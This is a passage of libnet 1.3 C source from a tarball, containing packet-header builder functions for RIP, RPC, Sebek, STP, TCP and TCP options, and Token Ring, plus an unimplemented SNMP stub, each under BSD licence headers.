must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_rip(uint8_t cmd, uint8_t version, uint16_t rd, uint16_t af, uint16_t rt, uint32_t addr, uint32_t mask, uint32_t next_hop, uint32_t metric, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_rip_hdr rip_hdr; if (l == NULL) { return (-1); } n = LIBNET_RIP_H + payload_s; h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_RIP_H); if (p == NULL) { return (-1); } memset(&rip_hdr, 0, sizeof(rip_hdr)); rip_hdr.rip_cmd = cmd; rip_hdr.rip_ver = version; rip_hdr.rip_rd = htons(rd); rip_hdr.rip_af = htons(af); rip_hdr.rip_rt = htons(rt); rip_hdr.rip_addr = addr; rip_hdr.rip_mask = mask; rip_hdr.rip_next_hop = next_hop; rip_hdr.rip_metric = htonl(metric); if (libnet_pblock_append(l, p, (uint8_t *)&rip_hdr, LIBNET_RIP_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_RIP_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_rpc.c0000664000175000017500000001013014506572036015304 0ustar syqsyq/* * * libnet * libnet_build_rpc.c - RPC packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * Jason Damron * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_rpc_call(uint32_t rm, uint32_t xid, uint32_t prog_num, uint32_t prog_vers, uint32_t procedure, uint32_t cflavor, uint32_t clength, uint8_t *cdata, uint32_t vflavor, uint32_t vlength, const uint8_t *vdata, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { (void)cdata; /* unused */ (void)vdata; /* unused */ uint32_t n, h; libnet_pblock_t *p; struct libnet_rpc_call_tcp_hdr rpc_hdr; int rc; if (l == NULL) { return (-1); } /* Credential and Verifier buffers not yet implemented. * n = LIBNET_RPC_CALL_H + clength + vlength + payload_s; */ if (rm) { n = LIBNET_RPC_CALL_TCP_H + payload_s; } else { n = LIBNET_RPC_CALL_H + payload_s; } h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_RPC_CALL_H); if (p == NULL) { return (-1); } memset(&rpc_hdr, 0, sizeof(rpc_hdr)); if (rm) { rpc_hdr.rpc_record_marking = htonl(rm + payload_s); } rpc_hdr.rpc_common.rpc_xid = htonl(xid); rpc_hdr.rpc_common.rpc_type = LIBNET_RPC_CALL; rpc_hdr.rpc_common.rpc_call.rpc_rpcvers = htonl(LIBNET_RPC_VERS); rpc_hdr.rpc_common.rpc_call.rpc_prognum = htonl(prog_num); rpc_hdr.rpc_common.rpc_call.rpc_vers = htonl(prog_vers); rpc_hdr.rpc_common.rpc_call.rpc_procedure = htonl(procedure); /* XXX Eventually should allow for opaque auth data. */ rpc_hdr.rpc_common.rpc_call.rpc_credentials.rpc_auth_flavor= htonl(cflavor); rpc_hdr.rpc_common.rpc_call.rpc_credentials.rpc_auth_length= htonl(clength); rpc_hdr.rpc_common.rpc_call.rpc_verifier.rpc_auth_flavor = htonl(vflavor); rpc_hdr.rpc_common.rpc_call.rpc_verifier.rpc_auth_length = htonl(vlength); if (rm) { rc = libnet_pblock_append(l, p, (uint8_t *)&rpc_hdr, LIBNET_RPC_CALL_TCP_H); } else { rc = libnet_pblock_append(l, p, (uint8_t *)&rpc_hdr.rpc_common, LIBNET_RPC_CALL_H); } if (rc == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_RPC_CALL_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_sebek.c0000664000175000017500000000624314506572036015623 0ustar syqsyq/* * libnet * libnet_build_sebek.c - sebek packet assembler * * Copyright (c) 2004 Frederic Raynal * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_sebek(uint32_t magic, uint16_t version, uint16_t type, uint32_t counter, uint32_t time_sec, uint32_t time_usec, uint32_t pid, uint32_t uid, uint32_t fd, uint8_t cmd[SEBEK_CMD_LENGTH], uint32_t length, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n; libnet_pblock_t *p; struct libnet_sebek_hdr sebek_hdr; if (l == NULL) { return (-1); } n = LIBNET_SEBEK_H + payload_s; /* size of memory block */ /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_SEBEK_H); if (p == NULL) { return (-1); } memset(&sebek_hdr, 0, sizeof(sebek_hdr)); sebek_hdr.magic = htonl(magic); sebek_hdr.version = htons(version); sebek_hdr.type = htons(type); sebek_hdr.counter = htonl(counter); sebek_hdr.time_sec = htonl(time_sec); sebek_hdr.time_usec = htonl(time_usec); sebek_hdr.pid = htonl(pid); sebek_hdr.uid = htonl(uid); sebek_hdr.fd = htonl(fd); memcpy(sebek_hdr.cmd, cmd, SEBEK_CMD_LENGTH*sizeof(uint8_t)); sebek_hdr.length = htonl(length); if (libnet_pblock_append(l, p, (uint8_t *)&sebek_hdr, LIBNET_SEBEK_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, 0, LIBNET_PBLOCK_SEBEK_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_snmp.c0000664000175000017500000000335714506572036015512 0ustar syqsyq/* * $Id: libnet_build_snmp.c,v 1.4 2004/01/03 20:31:01 mike Exp $ * * libnet * libnet_build_snmp.c - SNMP packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_snmp(void) { /* * We need an ASN.1 BER encoder before we can write this. */ return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_stp.c0000664000175000017500000001325414506572036015340 0ustar syqsyq/* * $Id: libnet_build_stp.c,v 1.9 2004/04/13 17:32:28 mike Exp $ * * libnet * libnet_build_stp.c - STP packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_stp_conf(uint16_t id, uint8_t version, uint8_t bpdu_type, uint8_t flags, const uint8_t *root_id, uint32_t root_pc, const uint8_t *bridge_id, uint16_t port_id, uint16_t message_age, uint16_t max_age, uint16_t hello_time, uint16_t f_delay, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; /* until we get some data marshalling in place we can't use this */ /* struct libnet_stp_conf_hdr stp_hdr; */ uint8_t stp_hdr[35]; uint16_t value_s; uint32_t value_l; if (l == NULL) { return (-1); } n = LIBNET_STP_CONF_H + payload_s; /* size of memory block */ h = 0; /* no checksum */ /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_STP_CONF_H); if (p == NULL) { return (-1); } /* until we get some data marshalling in place we can't use this */ /* stp_hdr.stp_id = htons(id); stp_hdr.stp_version = version; stp_hdr.stp_bpdu_type = bpdu_type; stp_hdr.stp_flags = flags; memcpy(&stp_hdr.stp_rootid, root_id, 8); stp_hdr.stp_rootpc = htonl(root_pc); memcpy(&stp_hdr.stp_bridgeid, bridge_id, 8); stp_hdr.stp_portid = htons(port_id); stp_hdr.stp_mage = htons(message_age); stp_hdr.stp_maxage = htons(max_age); stp_hdr.stp_hellot = htons(hello_time); stp_hdr.stp_fdelay = htons(f_delay); */ value_s = htons(id); memcpy(stp_hdr, &value_s, 2); stp_hdr[2] = version; stp_hdr[3] = bpdu_type; stp_hdr[4] = flags; memcpy(&stp_hdr[5], root_id, 8); value_l = htonl(root_pc); memcpy(&stp_hdr[13], &value_l, 4); memcpy(&stp_hdr[17], bridge_id, 8); value_s = htons(port_id); memcpy(&stp_hdr[25], &value_s, 2); #if (LIBNET_BIG_ENDIAN == 1) value_s = htons(message_age); #else value_s = message_age; #endif memcpy(&stp_hdr[27], &value_s, 2); #if (LIBNET_BIG_ENDIAN == 1) value_s = htons(max_age); #else value_s = max_age; #endif memcpy(&stp_hdr[29], &value_s, 2); #if (LIBNET_BIG_ENDIAN == 1) value_s = htons(hello_time); #else value_s = hello_time; #endif memcpy(&stp_hdr[31], &value_s, 2); #if (LIBNET_BIG_ENDIAN == 1) value_s = htons(f_delay); #else value_s = f_delay; #endif memcpy(&stp_hdr[33], &value_s, 2); /* until we get some data marshalling in place we can't use this */ /*n = libnet_pblock_append(l, p, (uint8_t *)&stp_hdr, LIBNET_STP_CONF_H); */ if (libnet_pblock_append(l, p, stp_hdr, LIBNET_STP_CONF_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_STP_CONF_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_stp_tcn(uint16_t id, uint8_t version, uint8_t bpdu_type, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_stp_tcn_hdr stp_hdr; if (l == NULL) { return (-1); } n = LIBNET_STP_TCN_H + payload_s; /* size of memory block */ h = 0; /* no checksum */ /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_STP_TCN_H); if (p == NULL) { return (-1); } memset(&stp_hdr, 0, sizeof(stp_hdr)); stp_hdr.stp_id = htons(id); stp_hdr.stp_version = version; stp_hdr.stp_bpdu_type = bpdu_type; if (libnet_pblock_append(l, p, (uint8_t *)&stp_hdr, LIBNET_STP_TCN_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_STP_TCN_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_tcp.c0000664000175000017500000002163514506572036015322 0ustar syqsyq/* * $Id: libnet_build_tcp.c,v 1.11 2004/01/28 19:45:00 mike Exp $ * * libnet * libnet_build_tcp.c - TCP packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_tcp( uint16_t sp, uint16_t dp, uint32_t seq, uint32_t ack, uint8_t control, uint16_t win, uint16_t sum, uint16_t urg, uint16_t h_len, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { int offset; libnet_pblock_t *p = NULL; libnet_ptag_t ptag_data = 0; struct libnet_tcp_hdr tcp_hdr; if (l == NULL) return -1; if (payload_s && !payload) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): payload inconsistency", __func__); return -1; } p = libnet_pblock_probe(l, ptag, LIBNET_TCP_H, LIBNET_PBLOCK_TCP_H); if (p == NULL) return -1; memset(&tcp_hdr, 0, sizeof(tcp_hdr)); tcp_hdr.th_sport = htons(sp); /* source port */ tcp_hdr.th_dport = htons(dp); /* destination port */ tcp_hdr.th_seq = htonl(seq); /* sequence number */ tcp_hdr.th_ack = htonl(ack); /* acknowledgement number */ tcp_hdr.th_flags = control; /* control flags */ tcp_hdr.th_x2 = 0; /* UNUSED */ tcp_hdr.th_off = 5; /* 20 byte header */ /* check to see if there are TCP options to include */ if (p->prev && p->prev->type == LIBNET_PBLOCK_TCPO_H) { /* Note that the tcp options pblock is already padded */ tcp_hdr.th_off += (p->prev->b_len/4); } tcp_hdr.th_win = htons(win); /* window size */ tcp_hdr.th_sum = (sum ? htons(sum) : 0); /* checksum */ tcp_hdr.th_urp = htons(urg); /* urgent pointer */ if (libnet_pblock_append(l, p, (uint8_t *)&tcp_hdr, LIBNET_TCP_H) == -1) { goto bad; } if (ptag == LIBNET_PTAG_INITIALIZER) { libnet_pblock_update(l, p, h_len, LIBNET_PBLOCK_TCP_H); } offset = payload_s; /* If we are going to modify a TCP data block, find it, and figure out the * "offset", the possibly negative amount by which we are increasing the ip * data length. */ if (ptag) { libnet_pblock_t* datablock = p->prev; if (datablock && datablock->type == LIBNET_PBLOCK_TCPO_H) datablock = datablock->prev; if (datablock && datablock->type == LIBNET_PBLOCK_TCPDATA) { ptag_data = datablock->ptag; offset -= datablock->b_len; } p->h_len += offset; } /* If we are modifying a TCP block, we should look forward and apply the offset * to our IPv4 header, if we have one. */ if (p->next) { libnet_pblock_t* ipblock = p->next; if(ipblock->type == LIBNET_PBLOCK_IPO_H) ipblock = ipblock->next; if(ipblock && ipblock->type == LIBNET_PBLOCK_IPV4_H) { struct libnet_ipv4_hdr * ip_hdr = (struct libnet_ipv4_hdr *)ipblock->buf; int ip_len = ntohs(ip_hdr->ip_len) + offset; ip_hdr->ip_len = htons(ip_len); } } /* if there is a payload, add it in the context */ if (payload_s) { /* update ptag_data with the new payload */ libnet_pblock_t* p_data = libnet_pblock_probe(l, ptag_data, payload_s, LIBNET_PBLOCK_TCPDATA); if (!p_data) { goto bad; } if (libnet_pblock_append(l, p_data, payload, payload_s) == -1) { goto bad; } if (ptag_data == LIBNET_PTAG_INITIALIZER) { int insertbefore = p->ptag; /* Then we created it, and we need to shuffle it back until it's before * the tcp header and options. */ libnet_pblock_update(l, p_data, payload_s, LIBNET_PBLOCK_TCPDATA); if(p->prev && p->prev->type == LIBNET_PBLOCK_TCPO_H) insertbefore = p->prev->ptag; libnet_pblock_insert_before(l, insertbefore, p_data->ptag); } } else { libnet_pblock_t* p_data = libnet_pblock_find(l, ptag_data); libnet_pblock_delete(l, p_data); } if (sum == 0) { /* * If checksum is zero, by default libnet will compute a checksum * for the user. The programmer can override this by calling * libnet_toggle_checksum(l, ptag, 1); */ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); } return (p->ptag); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_tcp_options(const uint8_t *options, uint32_t options_s, libnet_t *l, libnet_ptag_t ptag) { static const uint8_t padding[] = { 0 }; int offset, underflow; uint32_t i, j, adj_size; libnet_pblock_t *p, *p_temp; struct libnet_ipv4_hdr *ip_hdr; struct libnet_tcp_hdr *tcp_hdr; if (l == NULL) { return (-1); } underflow = 0; offset = 0; /* check options list size */ if (options_s > LIBNET_MAXOPTION_SIZE) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): options list is too large %d", __func__, options_s); return (-1); } adj_size = options_s; if (adj_size % 4) { /* size of memory block with padding */ adj_size += 4 - (options_s % 4); } /* if this pblock already exists, determine if there is a size diff */ if (ptag) { p_temp = libnet_pblock_find(l, ptag); if (p_temp) { if (adj_size >= p_temp->b_len) { offset = adj_size - p_temp->b_len; } else { offset = p_temp->b_len - adj_size; underflow = 1; } } } /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, adj_size, LIBNET_PBLOCK_TCPO_H); if (p == NULL) { return (-1); } if (libnet_pblock_append(l, p, options, options_s) == -1) { goto bad; } if (libnet_pblock_append(l, p, padding, adj_size - options_s) == -1) { goto bad; } if (ptag && p->next) { p_temp = p->next; while ((p_temp->next) && (p_temp->type != LIBNET_PBLOCK_TCP_H)) { p_temp = p_temp->next; } if (p_temp->type == LIBNET_PBLOCK_TCP_H) { /* * Count up number of 32-bit words in options list, padding if * neccessary. */ for (i = 0, j = 0; i < p->b_len; i++) { (i % 4) ? j : j++; } tcp_hdr = (struct libnet_tcp_hdr *)p_temp->buf; tcp_hdr->th_off = j + 5; if (!underflow) { p_temp->h_len += offset; } else { p_temp->h_len -= offset; } } while ((p_temp->next) && (p_temp->type != LIBNET_PBLOCK_IPV4_H)) { p_temp = p_temp->next; } if (p_temp->type == LIBNET_PBLOCK_IPV4_H) { ip_hdr = (struct libnet_ipv4_hdr *)p_temp->buf; if (!underflow) { ip_hdr->ip_len += htons(offset); } else { ip_hdr->ip_len -= htons(offset); } } } return (ptag ? ptag : libnet_pblock_update(l, p, adj_size, LIBNET_PBLOCK_TCPO_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_token_ring.c0000664000175000017500000001341214506572036016665 0ustar syqsyq/* * libnet * libnet_build_token_ring.c - Token Ring (802.5) packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * Jason Damron * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_token_ring(uint8_t ac, uint8_t fc, const uint8_t *dst, const uint8_t *src, uint8_t dsap, uint8_t ssap, uint8_t cf, const uint8_t *org, uint16_t type, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_token_ring_hdr token_ring_hdr; if (l == NULL) { return (-1); } /* sanity check injection type if we're not in advanced mode */ if (l->injection_type != LIBNET_LINK && !(((l->injection_type) & LIBNET_ADV_MASK))) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): called with non-link layer wire injection primitive", __func__); p = NULL; goto bad; } n = LIBNET_TOKEN_RING_H + payload_s; h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_TOKEN_RING_H); if (p == NULL) { return (-1); } memset(&token_ring_hdr, 0, sizeof(token_ring_hdr)); token_ring_hdr.token_ring_access_control = ac; token_ring_hdr.token_ring_frame_control = fc; memcpy(token_ring_hdr.token_ring_dhost, dst, TOKEN_RING_ADDR_LEN); memcpy(token_ring_hdr.token_ring_shost, src, TOKEN_RING_ADDR_LEN); token_ring_hdr.token_ring_llc_dsap = dsap; token_ring_hdr.token_ring_llc_ssap = ssap; token_ring_hdr.token_ring_llc_control_field = cf; memcpy(&token_ring_hdr.token_ring_llc_org_code, org, LIBNET_ORG_CODE_SIZE); token_ring_hdr.token_ring_type = htons(type); if (libnet_pblock_append(l, p, (uint8_t *)&token_ring_hdr, LIBNET_TOKEN_RING_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_TOKEN_RING_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_autobuild_token_ring(uint8_t ac, uint8_t fc, const uint8_t *dst, uint8_t dsap, uint8_t ssap, uint8_t cf, const uint8_t *org, uint16_t type, libnet_t *l) { uint32_t n, h; struct libnet_token_ring_addr *src; libnet_pblock_t *p; libnet_ptag_t ptag; struct libnet_token_ring_hdr token_ring_hdr; if (l == NULL) { return (-1); } /* sanity check injection type if we're not in advanced mode */ if (l->injection_type != LIBNET_LINK && !(((l->injection_type) & LIBNET_ADV_MASK))) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): called with non-link layer wire injection primitive", __func__); p = NULL; goto bad; } n = LIBNET_TOKEN_RING_H; h = 0; ptag = LIBNET_PTAG_INITIALIZER; /* Token Ring and Ethernet have the same address size - so just typecast */ src = (struct libnet_token_ring_addr *) libnet_get_hwaddr(l); if (src == NULL) { /* err msg set in libnet_get_hwaddr() */ return (-1); } /* * Create a new pblock. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_TOKEN_RING_H); if (p == NULL) { return (-1); } memset(&token_ring_hdr, 0, sizeof(token_ring_hdr)); token_ring_hdr.token_ring_access_control = ac; token_ring_hdr.token_ring_frame_control = fc; memcpy(token_ring_hdr.token_ring_dhost, dst, TOKEN_RING_ADDR_LEN); memcpy(token_ring_hdr.token_ring_shost, src, TOKEN_RING_ADDR_LEN); token_ring_hdr.token_ring_llc_dsap = dsap; token_ring_hdr.token_ring_llc_ssap = ssap; token_ring_hdr.token_ring_llc_control_field = cf; 